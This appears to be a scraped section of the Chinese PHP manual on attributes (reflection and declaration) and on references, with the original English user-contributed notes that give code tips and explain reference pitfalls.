$attributes = $reflection->getAttributes();

foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}

dumpAttributeData(new ReflectionClass(Thing::class));
/*
string(11) "MyAttribute"
array(1) {
["value"]=>
int(1234)
}
object(MyAttribute)#3 (1) {
["value"]=>
int(1234)
}
*/

通过传入参数：待搜索的注解类名，可返回指定的注解类， 而不需要再到反射类中迭代循环获取所有注解。

Example #2 使用反射 API 读取指定的注解

<?php

function dumpMyAttributeData($reflection) {
$attributes = $reflection->getAttributes(MyAttribute::class);

foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}

dumpMyAttributeData(new ReflectionClass(Thing::class));

User Contributed Notes

Hirusha Sharma 08-Mar-2021 08:34
Fetch properties from functions:

----------------------------------------
Function definition with attributes:
----------------------------------------
#[ReadOnly]
#[Property(type: 'function', name: 'Hello')]
function Hello()
{
    return "Hello";
}

-----------------------------------------
Gather attributes from the function
-----------------------------------------
function getAttributes(Reflector $reflection)
{
    $attributes = $reflection->getAttributes();
    $result = [];
    foreach ($attributes as $attribute)
    {
        $result[$attribute->getName()] = $attribute->getArguments();
    }
    return $result;
}

$reflection = new ReflectionFunction("Hello");
print_r(getAttributes($reflection));

-----------------------------
OUTPUT
-----------------------------
Array
(
    [ReadOnly] => Array
        (
        )

    [Property] => Array
        (
            [type] => function
            [name] => Hello
        )

)


声明注解类

虽然没有严格要求，推荐为每个注解创建一个实际的类。 在这个最简单的例子中，通过 use 语法从全局命名空间引入 #[Attribute] 注解所需要全空的类。

Example #1 简单的 Attribute 类

<?php

namespace Example;

use Attribute;

#[Attribute]
class MyAttribute
{
}

要限制指定注解的声明类型，可为 #[Attribute] 注解第一个参数传入字节位掩码设置。

Example #2 目标限定使用的注解

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION)]
class MyAttribute
{
}

在另一个类型中声明 MyAttribute 会在调用 ReflectionAttribute::newInstance() 时抛出异常。

可以指定以下目标：

  • Attribute::TARGET_CLASS
  • Attribute::TARGET_FUNCTION
  • Attribute::TARGET_METHOD
  • Attribute::TARGET_PROPERTY
  • Attribute::TARGET_CLASS_CONSTANT
  • Attribute::TARGET_PARAMETER
  • Attribute::TARGET_ALL

注解在每个声明中默认情况下只能使用一次。 如果需要重复，可以在 #[Attribute] 声明中设置字节位掩码。

Example #3 使用 IS_REPEATABLE 允许注解在声明中出现多次

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION | Attribute::IS_REPEATABLE)]
class MyAttribute
{
}

User Contributed Notes

esdras-schonevald 22-Dec-2021 03:28
#! Require PHP >= 8.0

#! This is a Sample

<?php

declare(strict_types = 1);

#[Attribute]
class Foo
{
    function __construct(){
        echo "Running " . __METHOD__ . PHP_EOL;
    }
}

#[Attribute(Attribute::TARGET_CLASS|Attribute::IS_REPEATABLE)]
class Bar {
    function __construct(?string ...$args){
        echo "Running " . __METHOD__ ,
            " args: " . implode(", ", $args) . PHP_EOL;
    }
}

#[Attribute(Attribute::TARGET_ALL)]
class Baz {
    function __construct(
        private string $parameter
    ){
        echo "Running " . __METHOD__ ,
            " arg: " . $this->parameter . PHP_EOL;
    }
}

#[Foo]                                      // [0]
#[Bar]                                      // [1]
#[Bar("Banana")]                            // [2]
#[Bar("Banana", "Apple", "Lemon", "Grape")] // [3]
#[Baz("The Only One")]                      // [4]
class Qux
{
}

// Getting class attribute with ReflectionClass
$ref    =   new ReflectionClass(Qux::class);
$attrs  =   $ref->getAttributes(); // Array of attributes

$attrs[0]->newInstance(); // "Running Foo::__construct"
$attrs[1]->newInstance(); // "Running Bar::__construct args: "
$attrs[2]->newInstance(); // "Running Bar::__construct args: Banana"
$attrs[3]->newInstance(); // "Running Bar::__construct args: Banana, Apple, Lemon, Grape"
$attrs[4]->newInstance(); // "Running Baz::__construct arg: The Only One"


引用的解释

Table of Contents

  • 引用是什么
  • 引用做什么
  • 引用不是什么
  • 引用传递
  • 引用返回
  • 取消引用
  • 引用定位

User Contributed Notes

info at fedushin dot ru 07-Jul-2021 08:38
Arrays of references are supported:

<?php
$x = 1;
$y = 2;
$z = 3;

$arr = [&$x, &$y, &$z];

foreach($arr as &$item)
    $item = 10;

var_dump($x, $y, $z);
?>

Output:

int(10) int(10) int(10)
dallgoot 09-Jun-2018 04:09
After some headaches, here is a function to check if, between 2 variables $a,$b check if one is a reference to the other.
It means they "point" to the same value.
Tested on :
PHP 7.2.2 (cli) (built: Jan 31 2018 19:31:17) ( ZTS MSVC15 (Visual C++ 2017) x64 )
Hope that helps...
<?php

function are_references(&$a, &$b){
    $mem = $a;     //memorize
    $a = uniqid ("REFERENCE???", true ); //change $a
    $same = $a === $b; //compare
    $a = $mem; //restore $a
    return $same;
}
echo "***distinct vars AND distinct values\n";
$a = "toto";
$b = "tata";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo "***distinct vars BUT SAME values\n";
$a = "toto";
$b = "toto";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $b is a reference of $a'."\n";
$a = "titi";
$b = &$a;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $a is a reference of $b'."\n";
$b = "titi";
$a = &$b;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";
?>
Result:
***distinct vars AND distinct values
string(4) "toto"
string(4) "tata"
bool(false)
verify original values: toto, tata
***distinct vars BUT SAME values
string(4) "toto"
string(4) "toto"
bool(false)
verify original values: toto, toto
*** $b is a reference of $a
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
*** $a is a reference of $b
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
jszoja at gmail dot com 23-Mar-2016 11:09
Be aware of a reference to another reference. It is probably bad practice to even do that.

<?php
    class Obj1 { public $name = 'Obj1'; }
    class Obj2 { public $name = 'Obj2'; }

    $objects = [];
    $toLoad = [ 'Obj1', 'Obj2' ];

    foreach( $toLoad as $i => $obj )
    {
        $ref = new $obj();
        $objects[$i] =& $ref; // a reference to a reference
        // $objects[$i] = $ref; // that would work
    }

    echo $objects[0]->name;
        // outputs 'Obj2' !
?>
Someone 16-Dec-2015 09:37
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

//above was Noted By Dave at SymmetricDesign dot com//
//and below is my opinion to this simple problem. //

This is an normal referencing problem.

when you gain an reference to a memory at some variable.
this variable, means "memory itself". (in above example, this would be ->  $x = &$array1[1];   // Unused reference)

and you've copied original one($array1) to another one($array2).
and the copy means "paste everything on itself". including references or pointers, etcs. so, when you copied $array1 to $array2, this $array2 has same referencers that original $array1 has. meaning that $x = &$array1[1]  = &$array2[1];
and again i said above. this reference means "memory itself".
when you choose to inserting some values to $array2[1],
$x; reference is affected by $array2[1]'s value. because, in allocated memory, $array2[1] is a copy of $array1[1]. this means that $array2[1] = $array1[1], also means &$array2[1] = &$array1[1]  as said above. this causes memory's  value reallocation on $array1[1]. at this moment. the problem of this topic is cleared by '$x', the memory itself.  and this problem was solved by unsetting the '$x'. unsetting this reference triggers memory reallocation of $array2[1]. this closes the reference link between the copied one($array1, which is the original) and copy($array2). this is where that bug(clearly, it's not a bug. it's just a missunderstanding) has triggered by. closing reference link makes two array object to be separated on memory. and this work was done through the unset() function. this topic was posted 7 years ago, but i just want to clarify that it's not a bug.

if there's some problems in my notes, plz, note that on above.
alexander at gamerev dot org 13-Mar-2014 02:47
Simply put, here's an example of what referencing IS:

<?php
    $foo  = 5;
    $bar = &$foo;
    $bar++;

    echo $foo;
?>

The above example will output the value 6, because $bar references the value of $foo, therefore, when changing $bar's value, you also change $foo's value too.
shooo dot xz at gmail dot com 10-Sep-2013 12:53
Hi, i've worked a abit on reference stuff.
Here is what i've noticed.

The problem: Sort mysql result through columns

$rewrite_self = gt::recombine(array('lang', 'id'), 'value_column', $sql_result);

public static function recombine($keys, $value, &$arr) {
        $ref = array();
        $main = &$ref;
        foreach($arr as $data) {
            foreach($keys as $key) {
                if (!is_array($ref[$data[$key]])) $ref[$data[$key]] = array();
                $ref = &$ref[$data[$key]];
            }
            $ref = $data[$value];
            $ref = &$main;
        }
        return $main;
}

array(2) {
  ["pl"]=>
  array(2) {
    [2]=>
    string(4) "value_column_str"
    [3]=>
    string(4) "value_column_str2"
  }
  ["en"]=>
  array(1) {
    [13]=>
    string(7) "value_column_str3"
  }
}

Enjoy!
sneskid at hotmail dot com 15-Mar-2012 10:19
There is no built in method (yet) to check if two variables are references to the same piece of data, but you can do a "reference sniff" test. This is rarely needed, but can be very useful. The function bellow is a slightly modified version of this technique I saw in a forum regarding this comparison limitation.

<?php
function is_ref_to(&$a, &$b)
{
    $t = $a;
    if($r=($b===($a=1))){ $r = ($b===($a=0)); }
    $a = $t;
    return $r;
}

$varA = 1;
$varB = $varA;
$varC =&$varA;

var_dump( is_ref_to($varA, $varB) ); // bool(false)
var_dump( is_ref_to($varA, $varC) ); // bool(true)
?>

The test above uses a two step process to be 100% generic.
But if you are sure the variables being tested will not be a certain value, example null, then use that value to allow a one step check.

<?php
function is_ref_to_1step(&$a, &$b)
{
    $t = $a;
    $r=($b===($a=null));
    $a = $t;
    return $r;
}
?>
zoranbankovic at gmail dot com 16-Oct-2010 01:59
If someone wants to add slashes to multidimensional array directly, can use recursive (pass-by-reference) function like this:
<?php
function slashit(&$aray, $db_link)
{
  foreach ($aray as $key => &$value)
   if(is_array($value)) slashit($value, $link);
   else $aray[$key] = mysql_real_escape_string($value, $db_link);
}

// Test:
$fruits = array (
    "fruits"  => array("a" => "or'ange", "b" => "ban'ana", "c" => "apple'"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("fir'st", 5 => "sec'ond", "thir'd"),
    "odma"    => "jugo'slavija"
);

// You have to make link to the database or can use addslashes instead of mysql_real_escape_string and remove $link from function definition

slashit($fruits, $dbLink);
echo "<pre>"; print_r($fruits); echo "</pre>";
?>

// Output:
Array
(
    [fruits] => Array
        (
            [a] => or\'ange
            [b] => ban\'ana
            [c] => apple\'
        )

    [numbers] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
        )

    [holes] => Array
        (
            [0] => fir\'st
            [5] => sec\'ond
            [6] => thir\'d
        )

    [odma] => jugo\'slavija
)
gnuffo1 at gmail dot com 27-Aug-2010 07:07
If you want to know the reference count of a particular variable, then here's a function that makes use of debug_zval_dump() to do so:

<?php
function refcount($var)
{
    ob_start();
    debug_zval_dump($var);
    $dump = ob_get_clean();

    $matches = array();
    preg_match('/refcount\(([0-9]+)/', $dump, $matches);

    $count = $matches[1];

    //3 references are added, including when calling debug_zval_dump()
    return $count - 3;
}
?>

debug_zval_dump() is a confusing function, as explained in its documentation, as among other things, it adds a reference count when being called as there is a reference within the function. refcount() takes account of these extra references by subtracting them for the return value.

It's also even more confusing when dealing with variables that have been assigned by reference (=&), either on the right or left side of the assignment, so for that reason, the above function doesn't really work for those sorts of variables. I'd use it more on object instances.

However, even taking into account that passing a variable to a function adds one to the reference count; which should mean that calling refcount() adds one, and then calling debug_zval_dump() adds another, refcount() seems to have aquired another reference from somewhere; hence subtracting 3 instead of 2 in the return line. Not quite sure where that comes from.

I've only tested this on 5.3; due to the nature of debug_zval_dump(), the results may be completely different on other versions.
Youssef Omar 15-Dec-2009 12:27
This is to show the affect of changing property of object A through another object B when you pass object A as a property of another object B.

<?php
 // data class to be passed to another class as an object
 class A{
     public $info;
    function __construct(){
        $this->info = "eeee";
    }
 }

 // B class to change the info in A obj
 class B_class{
     public $A_obj;

    function __construct($A_obj){
        $this->A_obj =  $A_obj;
    }
    public function change($newVal){
        $this->A_obj->info = $newVal;
    }
 }

 // create data object from the A
 $A_obj = new A();
 // print the info property
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

 // create the B object and pass the A_obj we created above
 $B_obj = new B_class($A_obj);
 // print the info property through the B object to make sure it has the same value 'eeee'
 echo 'B_obj info: ' . $B_obj->A_obj->info . '<br/>';

 // chage the info property
 $B_obj->change('xxxxx');
 // print the info property through the B object to make sure it changed the value to 'xxxxxx'
 echo 'B_obj info after change: ' . $B_obj->A_obj->info . '<br/>';
 // print the info property from the A_obj to see if the change through B_obj has affected it
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

?>

The result:

A_obj info: eeee
B_obj info: eeee
B_obj info after change: xxxxx
A_obj info: xxxxx
midir 28-Feb-2009 11:44
Here is a good magazine article (PDF format) that explains the internals of PHP's reference mechanism in detail: http://derickrethans.nl/files/phparch-php-variables-article.pdf

It should explain some of the odd behavior PHP sometimes seems to exhibit, as well as why you can't create "references to references" (unlike in C++), and why you should never attempt to use references to speed up passing of large strings or arrays (it will make no difference, or it will slow things down).

It was written for PHP 4 but it still applies. The only difference is in how PHP 5 handles objects: passing object variables by value only copies an internal pointer to the object. Objects in PHP 5 are only ever duplicated if you explicitly use the clone keyword.
ivan at mailinator dot com 09-Dec-2008 05:09
A little gotcha (be careful with references!):

<?php
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
foreach ($arr as &$a); // do nothing. maybe?
foreach ($arr as $a);  // do nothing. maybe?
print_r($arr);
?>
Output:

Array
(
    [a] => first
    [b] => second
    [c] => second
)

Add 'unset($a)' between the foreachs to obtain the 'correct' output:

Array
(
    [a] => first
    [b] => second
    [c] => third
)
zzo38 16-Jul-2008 01:08
You can make references like pointers. Example:
<?php
  $a=6;
  $b=array(&$a); // $b is a pointer to $a
  $c=array(&$b); // $c is a pointer to $b
  $d=7;
  $c[0][0]=9; // $a is 9
  $c[0]=array(&$d); // $b is a pointer to $d
  $c[0][0]=4; // $d is 4
  $b=array(&$a); // $b is a pointer to $a again
  echo $a.$b[0].$c[0][0].$d; // outputs 9994
?>
These kind of pointers may even be passed to functions or returned from functions, copied and stored in multiple arrays/variables/objects, etc.
jasonpvp at gmail dot com 10-Jul-2008 04:16
To change values in a multi-dimensional array while looping through:

$var=array('a'=>array(1,2,3),'b'=>array(4,5,6));

foreach ($var as &$sub) {
  foreach ($sub as &$element) {
    $element=$element+1;
  }
}

var_dump($var);

------------------------------
produces:
------------------------------
array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    int(2)
    [1]=>
    int(3)
    [2]=>
    int(4)
  }
  ["b"]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(6)
    [2]=>
    int(7)
  }
}
mpapec 26-Jun-2008 05:23
It's strange that function definition AND call to the same function must have "&" before them.

$arr = array();
$ref =& oras($arr['blah'], array());
$ref []= "via ref";
print_r($arr);

/* result
Array
(
    [blah] => Array
        (
            [0] => via ref
        )

)
*/

// perl like ||=
function &oras (&$v, $new) {
  $v or $v = $new;
  return $v;
}
dnhuff at acm dot org 09-Jun-2008 12:40
This is discussed before (below) but bears repeating:

$a = null; ($a =& null; does not parse) is NOT the same as unset($a);

$a = null; replaces the value at the destination of $a with the null value;

If you chose to use a convention like $NULL = NULL;

THEN, you could say $a =& $NULL to break any previous reference assignment to $a (setting it of course to $NULL), which could still get you into trouble if you forgot and then said $a = '5'. Now $NULL would be '5'.

Moral: use unset when it is called for.
Dave at SymmetricDesigns dot com 20-May-2008 11:24
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

I fixed my bug by rewriting the code without references, but it can also be fixed with the unset() function:
<?php
    $array1 = array(1,2);
    $x = &$array1[1];
    $array2 = $array1;
    unset($x); // Array copy is now unaffected by above reference
    $array2[1]=22;
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 2
    )
marco at greenlightsolutions dot nl 15-Nov-2007 02:38
I ran into a bit of a problem recently, with an array copy resulting in a reference copy of one of the elements instead of a clone. Sample code:

<?php
$a=array(1 => "A");
$b=&$a[1];
$c=$a; // should be a deep cloning
$c[1]="C";
var_dump($a[1]); // yields 'C' instead of 'A'
?>

After some searching, I found that it was a known bug which would be too costly to fix (see http://bugs.php.net/bug.php?id=20993). There was supposed to be some documentation on this behaviour on this page:

"Due to peculiarities of the internal workings of PHP, if a reference  is made to a single element of an array and then the array is copied, whether by assignment or when passed by value in a function call, the reference is copied as part of the array.  This means that changes to any such elements in either array will be duplicated in the other array (and in the other references), even if the arrays have different scopes (e.g. one is an argument inside a function and the other is global)!  Elements that did not have references at the time of the copy, as well as references assigned to those other elements after the copy of the array, will behave normally (i.e. independent of the other array)."

However, this paragraph appears to have been removed from this page at some point, presumably because it was a bit obscure. The comments section seem to be a proper place for this, though.
warnickr at gmail dot com 10-Nov-2007 01:15
I must say that it has been rather confusing following all of the explanations of PHP references, especially since I've worked a lot with C pointers.  As far as I can tell PHP references are the same as C pointers for all practical purposes.  I think a lot of the confusion comes from examples like the one shown below where people expect that a C pointer version of this would change what $bar references.

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

This is not the case.  In fact, a C pointer version of this example (shown below) would behave exactly the same way (it would not modify what bar references) as the PHP reference version.

int baz = 5;
int* bar;
void foo(int* var)
{
    var = &baz;
}
foo(bar);

In this case, just as in the case of PHP references, the call foo(bar) doesn't change what bar references.  If you wanted to change what bar references, then you would need to work with a double pointer like so:

int baz = 5;
int* bar;
void foo(int** var)
{
    *var = &baz;
}
foo(&bar);
trucex at gmail dot com 05-May-2007 01:49
In response to Xor and Slava:

I recommend you read up a bit more on the way PHP handles memory management. Take the following code for example:

<?php

$data = $_POST['lotsofdata'];
$data2 = $data;
$data3 = $data;
$data4 = $data;
$data5 = $data;

?>

Assuming we post 10MB of data to this PHP file, what will PHP do with the memory?

PHP uses a table of sorts that maps variable names to the data that variable refers to in memory. The $_POST superglobal will actually be the first instance of that data in the execution, so it will be the first variable referenced to that data in the memory. It will consume 10MB. Each $data var will simply point to the same data in memory. Until you change that data PHP will NOT duplicate it.

Passing a variable by value does just what I did with each $data var. There is no significant overhead to assigning a new name to the same data. It is only when you modify the data passed to the function that it must allocate memory for the data. Passing a variable by reference will do essentially the same thing when you pass the data to the function, only modifying it will modify the data that is in the memory already versus copying it to a new location in memory.

If for learning purposes you choose to disregard the obvious pointlessness in benchmarking the difference between these two methods of passing arguments, you will need to modify the data when it is passed to the function in order to obtain more accurate results.
sneskid at hotmail dot com 06-Mar-2007 12:47
(v5.1.4)
One cool thing about var_dump is it shows which variables are references (when dumping arrays), symbolized by '∫' for int/null, and by '&' for boolean/double/string/array/object. I don't know why the difference in symmmmbolism.
After playing around I found a better way to implement detaching (twas by accident). var_dump can show what's going on.

<?php
function &detach($v=null){return $v;}

$A=array('x' => 123, 'y' => 321);
$A['x'] = &$A['x'];
var_dump($A);
/* x became it's own reference...
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> int(321)
}*/

$A['y']=&$A['x'];
var_dump($A);
/* now both are references
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> ∫(123)
}*/

$z = 'hi';
$A['y']=&detach(&$z);
var_dump($A);
/* x is still a reference, y and z share
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> &string(2) "hi"
}*/

$A['x'] = $A['x'];
$A['y']=&detach();
var_dump($A,$z);
/* x returned to normal, y is on its own, z is still "hi"
array(2) {
  ["x"]=> int(123)
  ["y"]=> NULL
}*/
?>

For detach to work you need to use '&' in the function declaration, and every time you call it.

Use this when you know a variable is a reference, and you want to assign a new value without effecting other vars referencing that piece of memory. You can initialize it with a new constant value, or variable, or new reference all in once step.
sneskid at hotmail dot com 31-Oct-2006 09:33
in addition to what 'jw at jwscripts dot com' wrote about unset; it can also be used to "detach" the variable alias so that it may work on a unique piece of memory again.

here's an example

<?php
define('NL', "\r\n");

$v1 = 'shared';
$v2 = &$v1;
$v3 = &$v2;
$v4 = &$v3;

echo 'before:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

// detach messy
$detach = $v1;
unset($v1);
$v1 = $detach;

// detach pretty, but slower
eval(detach('$v2'));

$v1 .= '?';
$v2 .= ' no more';
$v3 .= ' sti';
$v4 .= 'll';

echo NL.'after:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

function detach($v) {
    $e = '$detach = ' . $v . ';';
    $e .= 'unset('.$v.');';
    $e .= $v . ' = $detach;';
    return $e;
}
?>

output {
before:
v1=shared
v2=shared
v3=shared
v4=shared

after:
v1=shared?
v2=shared no more
v3=shared still
v4=shared still
}

http://www.obdev.at/developers/articles/00002.html says there's no such thing as an "object reference" in PHP, but with detaching it becomes possible.

Hopefully detach, or something like it, will become a language construct in the future.
gunter dot sammet at gmail dot com 09-Aug-2006 01:23
I tried to create an array with n depth using a recursive function passing array references around. So far I haven't had much luck and I couldn't find anything on the web. So I ended up using eval() and it seems to work well:
<?php
      foreach(array_keys($this->quantity_array) AS $key){
        if($this->quantity_array[$key] > 0){
          $combinations = explode('-', $key);
          $eval_string = '$eval_array';
          foreach(array_keys($combinations) AS $key2){
            $option_key_value = explode('_', $combinations[$key2]);
            $eval_string .= '['.$option_key_value[0].']['.$option_key_value[1].']';
          }
          $eval_string .= ' = '.$this->quantity_array[$key].';';
          eval($eval_string);
        }
      }
?>

This produces an n dimensional array that will be available in the $eval_array variable. Hope it helps somebody!
Ed 22-Jan-2006 11:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
cesoid at yahoo dot com 10-Dec-2005 06:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com 12-Oct-2005 09:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
php at REMOVEMEkennel17 dot co dot uk 23-Aug-2005 06:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu 12-Aug-2005 08:59
I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;   # an object with properties

  function corrupt1(){
    modify1 ($this->i);
  }

  function doNotCorrupt1(){
    $tmpi = $this->i;
    modify1 ($tmpi);
    $this->i = $tmpi;
  }

  function corrupt2(){
    modify2 ($this->i);
  }

  function doNotCorrupt2(){
    $tmpi = $this->i;
    modify2 ($tmpi);
    $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
nslater at gmail dot com 15-Mar-2005 07:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
    // Do stuff
}

?>
Carlos 14-Mar-2005 12:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);       // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net 09-Feb-2005 10:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
    $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com 16-Oct-2004 05:18
Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
    $numbers[] = null;
    $num = count($numbers);
    $index =& $numbers[$num ? $num - 1 : $num];
    $index = $i;
}

foreach ($numbers as $index) {
    print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
hkmaly at bigfoot dot com 15-Sep-2004 08:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com 17-Jul-2004 08:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
    ...
    $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
nathan 05-Apr-2004 10:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

